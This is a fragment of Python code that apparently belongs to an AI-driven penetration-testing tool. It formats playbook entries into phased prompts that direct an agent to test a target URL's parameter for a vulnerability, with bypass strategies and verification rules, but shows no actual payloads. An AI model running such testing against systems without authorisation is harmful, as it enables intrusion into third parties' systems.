entry else [] def get_anti_fp_rules(vuln_type: str) -> List[str]: """Get anti-false-positive rules for a vulnerability type.""" entry = PENTEST_PLAYBOOK.get(vuln_type) return entry.get("anti_false_positive", []) if entry else [] def get_all_vuln_types() -> List[str]: """Get all vulnerability types in the playbook.""" return list(PENTEST_PLAYBOOK.keys()) def get_playbook_summary() -> Dict[str, List[str]]: """Get playbook organized by category.""" summary: Dict[str, List[str]] = {} for vuln_type, entry in PENTEST_PLAYBOOK.items(): cat = entry.get("category", "uncategorized") if cat not in summary: summary[cat] = [] summary[cat].append(vuln_type) return summary def build_agent_testing_prompt(vuln_type: str, target_url: str, parameter: str, method: str = "GET") -> str: """Build a comprehensive testing prompt for the AI agent.""" entry = PENTEST_PLAYBOOK.get(vuln_type) if not entry: return f"Test {target_url} parameter '{parameter}' for {vuln_type}." phase_prompts = [] for test_phase in entry.get("test_phases", []): phase_prompts.append(f"\n### Phase {test_phase['phase']}: {test_phase['name']}") for i, prompt in enumerate(test_phase.get("prompts", []), 1): phase_prompts.append(f"{i}. {prompt}") bypass = "\n".join(f"- {b}" for b in entry.get("bypass_strategies", [])) checklist = "\n".join(f"- {c}" for c in entry.get("verification_checklist", [])) anti_fp = "\n".join(f"- {a}" for a in entry.get("anti_false_positive", [])) return f"""# {entry['title']} Testing Playbook **Target**: {target_url} **Parameter**: {parameter} **Method**: {method} ## Overview {entry['overview']} ## Threat Model {entry['threat_model']} ## Testing Phases {''.join(phase_prompts)} ## Bypass Strategies {bypass} ## Verification Checklist {checklist} ## Anti-False-Positive Rules {anti_fp} IMPORTANT: Follow each phase sequentially. Only proceed to the next phase if the decision tree directs you there. Document all findings with concrete proof. """